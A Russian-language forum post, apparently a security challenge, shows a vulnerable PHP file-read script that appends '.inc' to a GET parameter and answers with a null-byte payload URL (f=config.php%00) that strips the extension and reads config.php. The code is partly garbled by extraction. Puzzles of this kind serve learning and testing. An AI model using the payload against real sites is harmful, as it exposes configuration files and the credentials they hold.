Показать сообщение отдельно

  #2  
Старый 22.06.2009, 13:06
Extremal
Познающий
Регистрация: 21.06.2006
Сообщений: 74
Провел на форуме:
2441743

Репутация: 222
По умолчанию

Задание 009
В директории 2 файла: index.php , news.inc , config.php. Надо обойти защиту от расширения и прочитать файл config.php
PHP код:
<?php

$f 
= (string)@$_GET['f'];  
$f str_replace('/'''$f);  
$f .= .inc;  

if (
file_exists($f)) { 
   echo 
htmlspecialchars(file_get_contents($f));                                    }  
 
else  exit;
?>
magic_quotes_gpc = OFF
Код:
http://site.com/file.php?f=config.php%00
 
Ответить с цитированием